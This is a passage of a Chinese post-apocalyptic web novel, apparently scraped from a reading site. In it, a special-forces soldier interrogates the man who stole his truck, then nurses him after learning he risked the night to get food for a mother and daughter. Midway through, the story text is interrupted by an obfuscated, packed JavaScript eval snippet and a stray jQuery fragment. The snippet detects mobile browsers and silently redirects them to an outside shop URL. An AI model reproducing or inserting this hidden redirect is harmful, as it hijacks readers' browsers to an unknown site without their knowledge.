江玄灵被砰地一声按在了墙上。
“嗯!”一声闷哼猝不及防地溢了出来。
剧痛瞬间劈过全身,重撞之下江玄灵原本就剧痛的腹中脏器仿佛被震碎了一样,脸色瞬间苍白,眉头痛苦地拧紧。
“同样的把戏还想玩几遍?”吴罪看着他那张男版西施一样的脸就来气,这家伙这招用的真是炉火纯青,装柔弱简直是影帝级别的,手上愈发用力,“当初把我留在那等死,就该做好会被找上门的觉悟。”
江玄灵眼前一阵阵发黑,哑声说:“……你不会死的。”
吴罪怒极反笑:“你说对了,老子没那么容易死,你就不一定了。”
他猛的松开江玄灵,江玄灵立刻弯腰大口大口地喘息,下一秒一把尖锐的军刀抵在了他的小腹上。
“在我把你开膛破肚之前,你有十秒可以回答我的问题,”吴罪撑在他耳侧的墙上,他在发狠的时候脸上的表情却还在笑,无论是手臂上的肌肉还是气场都透出十足的压迫感,握着刀的手微微用力,刀尖在江玄灵白色的卫衣上压出一个坑,几乎穿透那层薄薄的布料,“我再问你一遍,你到底是什么人?”
江玄灵咬紧牙关,身子微微颤抖:“实验室研究员。”
吴罪眯起眼睛冷笑:“一天不见居然还染了个紫毛,你不如说你是参加的选美的我还更相信一些。说实话!”
刀子忽的调转方向,刀柄对准江玄灵的腹部用力一顶。
“唔!”江玄灵双膝一软差点跪下去,吴罪一把捞住他的胳膊把他架起来,恶狠狠在他耳边威胁道,“我没时间陪你玩,别耗尽我的耐心。”
江玄灵几乎无法抬头:“我真的……是研究员,我的上级单位是xxx,我的领导是韩沐,我的编号是……”
江玄灵报出一连串的名字和编号,都是吴罪熟悉的名字,编号方式也是正确的。
吴罪原本也就是为了再次核实他的身份,现在基本确认了八成。
“你们负责的项目内容是什么?车里运送的是什么东西。”他又问。
“……都说了是机密,”江玄灵全凭吴罪的支撑才保持着站立的姿势,虚弱得连声音都在发颤,“你就算杀了我,我也不能告诉你。”
吴罪掐住他的脸抬起来:“现在有原则了,抢我车的时候怎么没见你这么有道德感?”
月色洒在江玄灵身上,他穿了一件松松垮垮的白色上衣,在刚才的挣动中被扯得有些凌乱,领口处依稀露出了一截漂亮的锁骨,吴罪甚至依稀在他眼角看到了星星点点的水光,像是生理眼泪,眼神有点倔强,又有点愤怒,但更多的是脆弱。
那样子实在是太让人怜惜了,换作任何其他人只怕都要受不了,然而吴罪却立刻想起了自己前不久被同样的美色迷惑惨痛的经历。
如果他不是特种兵,早就死在路上了!
“你半夜鬼鬼祟祟地在这干什么?“吴罪不会在同样的石头上拌倒两次,眸色冰冷。
他早就看到了一旁购物车上的汽油桶,这家伙绝对图谋不轨。
吴罪厉声质问:“如果我没来,你是不是打算再去诈骗这栋房子里的母女,烧她们的房子,抢他们的物资?”
江玄灵颤抖着,一个字都说不出来。
吴罪冷笑一声。虽然他很有用,但是吴罪不介意让他受点苦头,像他这种骗子,在末世里不知道会祸害多少人!
“妈妈,大哥哥怎么还不回来?”
吴罪忽的顿住,透过一层的窗户,他听到有小姑娘的声音传了出来,带着担忧。
女人轻声安抚:“没事的宝贝,我们的救命恩人一定会有神明保佑的。”
“可是他之前就受了伤,还要为了我们去外面找食物,外面那么黑那么危险,他会不会……”小姑娘有些哽咽,“我们不会害了他吧!”
吴罪的眼睛震惊地睁大,猛然转头再次看向那辆购物推车,这次他终于就着月色看清了汽油桶下压着的东西,那是满满的食物。
原来他半夜出行是为了这个。在这种危机四伏的深夜,一个人孤身涉险,只是为了帮助孤儿寡母获取食物。
江玄灵的面容毫无血色,声音越来越弱:“所以你对我,要杀还是要剐呢?”
下一秒他整个人都软了下来,向前倒了下去,吴罪一把扶住他,一摸之下才发现他的整个后背都被冷汗打透了。
原来他不是装的,是真疼!
咚咚咚!!
母女两人在客厅里焦急的等待,忽的听到外面有人敲门。
女人几乎是立刻跳了起来冲过去拉开门,门开了却发现外面站着的不是江玄灵,而是一个高大强悍的男人。
女人瞬间冷汗就下来了,她太心急,居然忘了江玄灵告诉她的敲门暗号,然而紧接着他就看到了男人怀里抱着的人——绝美的容颜苍白如纸,躺在男人怀里一动不动。
“大哥哥!”小女孩也飞奔过来,看到江玄灵的样子立刻嚎啕大哭了出来,“大哥哥死了!”
“他没死。”吴罪大步迈了进来,“人暂时昏迷了,他的房间是哪个?”
女人挡在小女孩面前警惕地质问:“你是谁?”
如果此时有人能摸一下吴罪的耳根子就会发现烫的要命,一直红到了后脖颈,但他面上依旧是面不改色:“我是他朋友。”
“H国人民解放军特种部队中尉吴罪。我和江玄灵之前失散了,我刚才在外面遇到了他,他受了点伤需要休息,”吴罪示意自己身后,“外面有他带回来的食物,劳烦你把它拉进来。”
他又补充了一句:“快一点,一会儿怪物要闯进来了。”
吴罪的军人身份给了女人信任感,再加上他能报出江玄灵的名字,应该是真的认识。
上一次被怪物闯进来有多可怕女人还心有余悸,她立刻冲到门口准备把食物拎进来后关门,结果就惊呆了。
她本以为江玄灵说的弄点吃的回来无非是几袋面包之类的,没想到居然是整整一购物车!
女人眨了好几次眼睛才确认自己没看错,吴罪已经抱着江玄灵噔噔噔上了二楼。
二楼一共有两间房,他进了近的那间,把人轻轻放到了床上。
江玄灵的脸如同被水洗过的白瓷,双眼紧闭着,呼吸很不平稳,即便在昏迷中也微微蹙着眉,吴罪在床边蹲下,低头看着他苍白的脸,心里说不出来的内疚。
忽的身后传来声音,女人出现在了房间门口,轻声问:“他伤得重不重?”
从她的小腿旁边探出来一个小脑袋。
能看得出母女俩对江玄灵是真的很关心,把食物拎进来之后甚至无暇细看。
“刚才在回来的路上我已经检查了一遍他的身体,没有明显外伤,脉搏也正常,只是不知道他为什么肚子疼。”吴罪站起来,“应该问题不大,你们去休息吧,我照顾他就行。”
女人犹豫了一下:“好,那我们先走了。”
房门关上,吴罪深深吸了一口气,顿了顿,他起身脱掉江玄灵的鞋子,又帮他盖上被子。
忽的,门被毫无预兆地推开,女人端进来两杯水,对他笑了笑:“喝点水。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520992|142339||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吴罪给江玄灵盖被子的手还没收回来,有些尴尬地点点头:“谢谢。”
“那我先走了。”女人退出去,门又关了。
卧室里是有洗手间的,吴罪去洗手间打湿了条毛巾又回来,忽的门又被推开,小姑娘小跑进来递给他一个袋饼干:“给你吃。”
吴罪接过来:“……谢谢。”
小姑娘偷偷看了床上的江玄灵一眼,又小辫子一颠一颠地跑出去了。
大概只过了两分钟,门口又传来窸窸窣窣的声音,正在给江玄灵擦汗的吴罪叹了口气,站起来。
门外,女人弯腰正和小姑娘密谋着什么,忽的房间门被拉开。
吴罪单手叉腰无奈地站在门口:“我不会对他不利的,我如果想要做什么就不会送他回来,早在路上就下手了。”
被看破了心思,女人和小姑娘对视一眼,都有些尴尬。
“不过我确实需要一些帮助,”与其让母女俩再隔两分钟就来检查一次江玄灵是否安全,不如直接告诉她们自己的意图,吴罪问,“家里有没有暖宝宝或者热水袋?”
末世里居然还有水电,也算是个小奇迹。
女人很快灌好了热水袋交给吴罪,又给了吴罪几袋肠胃药。
“如果需要什么叫我就行,我叫褚玥。”女人又担心地往房间里张望了一眼,她不看见江玄灵就不放心,但她也知道吴罪说的是对的,“我和跳跳在隔壁房间。”
“放心吧。”吴罪长了一张很英俊的脸,大多数时间这张脸上都写满了桀骜不驯和刺头,让人很有距离感,但他一旦收起那些东西,与生俱来的沉稳气场就会显现出来,让人莫名信服,这大概也是为什么他能在部队里有那么高威信的原因。
吴罪说:“我会照顾好他的。”
重新关上门,这一次房间里终于安静了。
吴罪重新坐回床边。
江玄灵长长的睫毛像是两把小扇子,微微翕动着,吴罪轻咳一声,弯腰凑到江玄灵耳边说:“我承认,是我看错你了。”
江玄灵没有反应。
离得近了,吴罪更觉得江玄灵精致得像个假人,没见到他之前,他都不相信真有人能长这样。
怎么还不醒?
吴罪把手放在了江玄灵小腹上,冰凉的触感隔着衣服传来,几乎能摸到腹中的微微抽动痉挛。
这得有多疼?
吴罪皱了皱眉,立刻把热水袋拿来:“之前还说第一次见不合适,不让我看,这下可不是我故意要看,是为了你好。”
他掀起江玄灵的衣服下摆,刚要把热水袋捂上去却顿住了——
他看见一个形状奇异的纹身,就在江玄灵的肚脐正下方小腹的位置。
深紫色的线条印在江玄灵极白的皮肤上,那图案像是一朵花,两侧蔓延出蜿蜒的枝条,不是大众常见款式,中间的花勾勒得一气呵成,不繁复却无比灵动,甚至像是大师工艺,有种高贵典雅的感觉,随着他的呼吸,就像是在他的小腹绽放一样。
兰花吗?
吴罪对花的品种一无所知,对绘画更是一窍不通,却也觉得那图案非常漂亮且高级。
只是在他的印象里,江玄灵是个温文尔雅的人,虽然有点狡猾,但就算是抢他车的时候说的也是“征用一下你的交通工具”,甚至有点文绉绉的,这样一个人又染发又纹身,总让吴罪觉得有点割裂。
这么一联想就有点入了神,吴罪发愣间手腕忽的被一只冰冷的手啪的抓住,抬头就对上了一双深黑的眼睛,江玄灵虚弱地质问他:“你干什么呢?”